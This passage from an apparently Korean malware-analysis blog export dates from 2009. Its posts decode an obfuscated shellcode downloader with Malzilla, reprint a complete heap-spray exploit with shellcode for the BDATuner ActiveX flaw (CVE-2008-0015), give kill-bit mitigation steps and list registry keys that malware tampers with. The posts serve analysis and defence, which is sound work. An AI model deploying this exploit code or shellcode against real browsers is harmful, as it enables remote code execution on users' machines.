ytshell=unescape(UUse+YTavp1+\u0026#39;%u\u0026#39;+\u0026#39;54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1\u0026#39;+\u0026#39;%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%u\u0026#39;+\u0026#39;D5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8\u0026#39;+\u0026#39;%u2355%uBDBF%u5FBD%uD544%uD3D2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u\u0026#39;+\u0026#39;7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355\u0026#39;+\u0026#39;%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%u\u0026#39;+\u0026#39;CED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4\u0026#39;+\u0026#39;%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%u\u0026#39;+\u0026#39;BDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44\u0026#39;+\u0026#39;%uBEB9%uDCE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u\u0026#39;+\u0026#39;8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD\u0026#39;+\u0026#39;%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%u\u0026#39;+\u0026#39;BCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD\u0026#39;+\u0026#39;%uD7BD%uD7BD%uD7BD%uD7B9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5BD%u\u0026#39;+\u0026#39;BDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909\u0026#39;+\u0026#39;%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u\u0026#39;+\u0026#39;7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD\u0026#39;+\u0026#39;%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%u\u0026#39;+\u0026#39;CB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5\u0026#39;+\u0026#39;%uFDEB%u4636%u7D8E%u668E%u513C%uBFBD%uBDBD%u7136%u453E%uC0E9%u\u0026#39;+\u0026#39;34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED\u0026#39;+\u0026#39;%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%\u0026#39;+\u0026#39;u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB\u0026#39;+\u0026#39;%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%\u0026#39;+\u0026#39;uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE\u0026#39;+\u0026#39;%u3D6D%u5585%u853D%uC854%u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u\u0026#39;+\u0026#39;36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD\u0026#39;+\u0026#39;%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4136%\u0026#39;+\u0026#39;u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5\u0026#39;+\u0026#39;%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%\u0026#39;+\u0026#39;uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A\u0026#39;+\u0026#39;%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u\u0026#39;+\u0026#39;36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD\u0026#39;+\u0026#39;%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88%u\u0026#39;+\u0026#39;BDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642\u0026#39;+\u0026#39;%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%u\u0026#39;+\u0026#39;ADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8\u0026#39;+\u0026#39;%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%u\u0026#39;+\u0026#39;B266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8\u0026#39;+\u0026#39;%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%u\u0026#39;+\u0026#39;E316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5\u0026#39;+\u0026#39;%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%u\u0026#39;+\u0026#39;A376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230\u0026#39;+\u0026#39;%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B\u0026#39;+\u0026#39;%u4627%uA8EE\u0026#39;+\u0026#39;%ud5db%uc9c9%u87cd%u9292%ucaca%u93ca%ud3d4%ud2c9%ud3ca%ude93%u93d2%ucfd6%uce92%u92df%ue9e9%ud893%ud8c5%uBDBD%uBDBD\u0026#39;+YTavp); var headersize=20; var omybro=unescape(UUse); 무언가 암호화 되어 있는 쉘코드로 보이는 코드가 보입니다. 해당 내용을 자세히 분석해 보도록 하겠습니다. 먼저 코드에서 쉘코드로 보이는 부분을 따로 추출하여 [ + ] [ ‘ ] 기호를 제외합니다. 제외하여 나온 내용은 같습니다.\n1 %u54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%uCED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%uBDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44%uBEB9%uDCE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%uBCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD%uD7BD%uD7BD%uD7BD%uD7B9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5BD%uBDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uBFBD%uBDBD%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88%uBDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%uADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ucaca%u93ca%ud3d4%ud2c9%ud3ca%ude93%u93d2%ucfd6%uce92%u92df%ue9e9%ud893%ud8c5%uBDBD%uBDBD 이제 Malzilla를 실행시킵니다. Malzilla에는 다양한 디코더들이 존재합니다. 그 중 해당 내용을 [US Ascii to Hex] 기능을 사용하여 Hex 코드로 변환을 합니다.\n변환이 되면 아래 그림과 같이 변환된 코드가 나타나게 됩니다. 그럼 이제 해당 코드들을 복사 합니다. 복사 한 후 Hex view 탭으로 이동합니다.\nHex view탭으로 이동하였으면 마우스 우클릭 후 좌측 메뉴처럼 복사한 Hex 값을 붙여넣기 합니다.\n붙여넣게 되면 아래 그림과 같이 코드들이 붙여진것을 보실 수 있습니다. 이제 해당 쉘코드에서 다운로드 하는 최종 URL 주소를 확인해 보도록 하겠습니다.\n요즘 대부분의 악성코드들은 간단하게 최종 다운로드 URL을 간단한 XOR 로 암호화 합니다 Malzilla에서는 이런 XOR 키를 자동으로 찾아주는 기능이 있는데 이 기능을 이용하여 찾아보도록 하겠습니다.\n먼저 찾고자 하는 문자열 중 일부럴 Strings to find 메뉴에 입력합니다. 여기서는 “http” 라고 입력하였습니다. 그리고 [Find] 버튼을 누릅니다. 잠시 후 메시지 박스가 뜨고 [OK] 버튼을 누르게 되면 아래 Key 메뉴에 자동으로 찾은 키가 아래 입력되게 됩니다.\n여기서 자동으로 찾은 키값은 “bd” 였습니다. 이제 이 키값을 적용시켜 보도록 하겠습니다. [Apply XOR] 버튼을 눌러 보도록 하겠습니다. 누르게 되면 헥사코드 우측 텍스트란에 우리가 찾고자 하는 최종 URL이 나타난걸 확인하실 수 있습니다. 해당 URL이 웹페이지에 삽입된 스크립트가 사용자들의 시스템에 설치하고자 하는 파일이므로 우리는 이 파일을 다운로드 하여 대응하면 될 것입니다!\n","date":"2009-08-01T18:07:19Z","permalink":"/2009/08/01/malzilla%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%95%85%EC%84%B1-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EB%B6%84%EC%84%9D/","title":"Malzilla를 이용한 악성 스크립트 분석"},{"content":"키로거 판단 여부\n조건 1.\nSetWindowsHookEx\nInt idHook 값이 2\n조건 2.\nGetKeyboardState/GetKeyState 존재\n조건 3.\nToAscii\n자세한 내용은 쿨켓님의 블로그 (http://xcoolcat7.tistory.com/542) 참고.\n","date":"2009-07-28T06:12:18Z","permalink":"/2009/07/28/%ED%82%A4%EB%A1%9C%EA%B1%B0-%ED%8C%90%EB%8B%A8-%EC%97%AC%EB%B6%80/","title":"키로거 판단 여부"},{"content":"어제 국내외 기관, 은행, 포털사이트에 대한 대규모적인 DDOS 공격으로 인해 사이트가 마비되는 상황이 발생했다.\n[관련기사]\n이유는 바로 악성코드에 의한 DDOS! - [링크]\n이번에 이렇게 크게 이슈가 되기 전에 TCP/UDP 80번 포트에 대한 징후가 보이기 시작했었는데......\n앞으로는 이러한 증상 발생 시, 우선 DDOS를 의심하여 해당 샘플을 확보하여 분석토록 하자!\n기억 하자 -_- (스트링만 뽑아 봤어도......)\n그리고 마지막으로 웃긴 캡쳐 하나!\n","date":"2009-07-08T02:02:33Z","permalink":"/2009/07/08/%EC%9D%B4%EB%B2%88-ddos%EB%A5%BC-%EB%B3%B4%EA%B3%A0-%EA%B8%B0%EC%96%B5%ED%95%B4%EC%95%BC-%ED%95%A0-%EA%B2%83/","title":"이번 DDOS를 보고, 기억해야 할 것!"},{"content":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 var appllaa=\u0026#39;0\u0026#39;; var nndx=\u0026#39;%\u0026#39;+\u0026#39;u9\u0026#39;+\u0026#39;0\u0026#39;+\u0026#39;9\u0026#39;+\u0026#39;0\u0026#39;+\u0026#39;%u\u0026#39;+\u0026#39;9\u0026#39;+\u0026#39;0\u0026#39;+\u0026#39;9\u0026#39;+appllaa; var dashell=unescape(nndx+\u0026#39;%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF%u54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%uCED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%uBDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44%uBEB9%uDCE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%uBCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD%uD7BD%uD7BD%uD7BD%uD7B9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5BD%uBDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uBFBD%uBDBD%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88%uBDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%uADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE%uD5DB%uc9c9%u87cd%u9292%ud4d0%ud1d1%ud6d1%ude93%ud0d2%uca92%u92d0%ucbce%ud5de%uced2%u93c9%uc5d8%ubdd8%ubdBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uEAEA\u0026#39;); // xor:0BD var headersize=20; var omybro=unescape(nndx); var slackspace=headersize+dashell.length; while(omybro.length\u0026lt;slackspace) omybro+=omybro; bZmybr=omybro.substring(0,slackspace); shuishiMVP=omybro.substring(0,omybro.length-slackspace); while(shuishiMVP.length+slackspace\u0026lt;0x30000) //生成大量?据 shuishiMVP=shuishiMVP+shuishiMVP+bZmybr; memory=new Array(); for(x=0;x\u0026lt;300;x++) memory[x]=shuishiMVP+dashell; var myObject=document.createElement(\u0026#39;object\u0026#39;); DivID.appendChild(myObject); myObject.width=\u0026#39;1\u0026#39;; myObject.height=\u0026#39;1\u0026#39;; myObject.data=\u0026#39;./logo.gif\u0026#39;; //一?非GIF文件 myObject.classid=\u0026#39;clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF\u0026#39;; 현재 패치가 안나온 상태이며 임시로 Kill Bit 설정이 필요해 보인다. 설정법은 https://jjoon.net/page/?p=33 참조.\n기타 국내 사이트 정보 - Ahnlab ASEC Threat Research : http://blog.ahnlab.com/asec/47 NCHOVY : http://nchovy.kr/forum/2/article/458 ","date":"2009-07-06T14:21:50Z","permalink":"/2009/07/06/microsoft-windows-bdatunermpeg2tunerequest1-object-remote-code-execution-vulnerability/","title":"Microsoft Windows 'BDATuner.MPEG2TuneRequest.1' Object Remote Code Execution Vulnerability (CVE-2008-0015, MS09-032)"},{"content":" 1 HKEY_LOCAL_MACHINE\\software\\microsoft\\Internet Explorer\\ActiveX Compatibility{차단할 CLSID} 위의 레지스트리 경로에 차단하고자 하는 CLSID를 등록 후 Compatibility Flags 를 DWORD 값으로 0x00000400 설정하면 더이상 Internet Explorer에서 해당 CLSID의 프로그램이 동작하지 않아요 ~\n","date":"2009-07-06T14:13:35Z","permalink":"/2009/07/06/kill-bit-%EC%84%A4%EC%A0%95-%EB%B0%A9%EB%B2%95/","title":"Kill Bit 설정 방법"},{"content":"[탐색기 폴더 옵션의 파일 숨김 속성]\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Hidden\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\ShowSuperHidden HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\CheckedValue\n[파일의 속성 부분에서 체크박스 활성/비활성]\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\HideFileExt\\UncheckedValue\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\HideFileExt\\CheckedValue\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\HideFileExt\\DefaultValue\n[오토런 설정]\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDriveTypeAutoRun\nUSB 같은 이동형 저장장치에 대해 Autorun 설정을 합니다. (0xFF로 설정 시 Block, 0x00으로 설정 시 모두 허용) [윈도우 주요 설정 툴 실행 방지]\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableCMD\n[Image File Execution Options 이용하여 프로그램 실행 방지]\nHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution\\Options\\calc.exe\nDebugger = notepad.exe\n계산기 실행 시 노트패드로 전환되어 실행. (AV 실행을 막거나, 포렌직 툴 실행을 막기위해 변조함) [시작프로그램 관련]\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\nHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\userinit\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nHKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\nDisableLocalMachineRunOnce=1:DWORD\nDisableLocalMachineRun=1:DWORD\nDisableCurrentUserRunOnce=1:DWORD\nDisableLocalMachineRun=1:DWORD\n이러한 키가 설정되면 시작프로그램에 등록된 프로그램이 실행이 안됨. HKLM\\SOFTWARE\\Classes\\exefile\\shell\\open\\command\n@=\u0026quot;soundmix \\\u0026quot;%1\\\u0026quot; %*\u0026quot;\nsoundmix 프로세스를 KILL 하여도 계속적으로 재실행 [인터넷 익스플로러]\nHKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\n해당 키 안에 ResetWebSettings 값이나 HomePage 값이 있으면 시작 페이지 부분 비활성화. (재부팅이 필요 합니다) [HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\internet explorer\\restrictions]\n\u0026quot;NoBrowserOptions\u0026quot;=dword:00000001\n인터넷 옵션 실행불가 관련 레지스트리 [HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel]\n\u0026quot;AdvancedTab\u0026quot;=dword:00000001\n\u0026quot;PrivacyTab\u0026quot;=dword:00000001\n\u0026quot;ProgramsTab\u0026quot;=dword:00000001\n\u0026quot;ConnectionsTab\u0026quot;=dword:00000001\n\u0026quot;ContentTab\u0026quot;=dword:00000001\n\u0026quot;SecurityTab\u0026quot;=dword:00000001\n\u0026quot;GeneralTab\u0026quot;=dword:00000001\n역시 인터넷 옵션 실행불가 관련 레지스트리 [네트워크 관련]\nHKLM\\SYSTEM\\ControlSet001\\Services\\Tcpip\\Parameters\\MaxUserPort\n윈도우에서 허용하는 네트워크 연결 개수 수정(주로 Spamer가 변조) [HKLM\\SYSTEM\\ControlSet001\\Services\\WinSock2\\Parameters\\Protocol_Catalog9\\Catalog_Entries\\00000000000*]\n\u0026quot;PackedCatalogItem\u0026quot; 이진값 문자열에 악성코드가 삽입되어 있을 경우 네트워크가 정상적으로 동작하지 않음.\nnetsh winsock show catalog 명령어로 확인 가능, 복구툴 : http://www.cexx.org/lspfix.htm\n[윈도우 보안 정책 관련]\nHKLM\\SYSTEM\\ControlSet001\\Services\\wscsvc\\Start\nwscsvc : 윈도우 시큐리티 보안센터, 윈도우 시큐리티 보안센터 시작을 꺼버립니다. HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\system\\EnableLUA\n윈도우 VISTA UAC 기능 무효화 HKLM\\SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\EnableFirewall\nHKLM\\SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\DoNotAllowExceptions HKLM\\SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List\n윈도우 방화벽 관련 정책 변경 HKLM\\SOFTWARE\\Microsoft\\Ole\\EnableDCOM\n분산 컴포넌트 객체 모형에 해당하는 값을 변경 [DCOM, Distributed Component Object Model] HKLM\\SOFTWARE\\Microsoft\\Security Center\\AntiVirusDisableNotify\n보안센터 바이러스 백신 경보에 해당하는 값을 변경 HKLM\\SOFTWARE\\Microsoft\\Security Center\\FirewallDisableNotify\n보안센터 바이러스 사용자지정 백신에 해당하는 값을 변경 HKLM\\SOFTWARE\\Microsoft\\Security Center\\AntiVirusOverride\n보안센터 바이러스 방화벽 경보에 해당하는 값을 변경 HKLM\\SYSTEM\\ControlSet001\\Services\\SharedAccess\\Start\n연결공유서비스에 해당하는 값을 변경한다. HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\restrictanonymous\n익명연결(널세션)에 해당 하는 값을 변경 [제어판 관련]\nHKCU\\Control Panel\\don't load\\\u0026quot;access.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;appwiz.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;hdwwiz.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;inetcpl.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;intl.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;joy.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;main.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;ncpa.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;netcpl.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;nusrmgr.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;timedate.cpl\u0026quot; = \u0026quot;No\u0026quot;\nHKCU\\Control Panel\\don't load\\\u0026quot;joy.cpl\u0026quot; = \u0026quot;No\u0026quot;\n제어판에서 메뉴를 보이지 않도록 한다. [바탕화면 배경화면 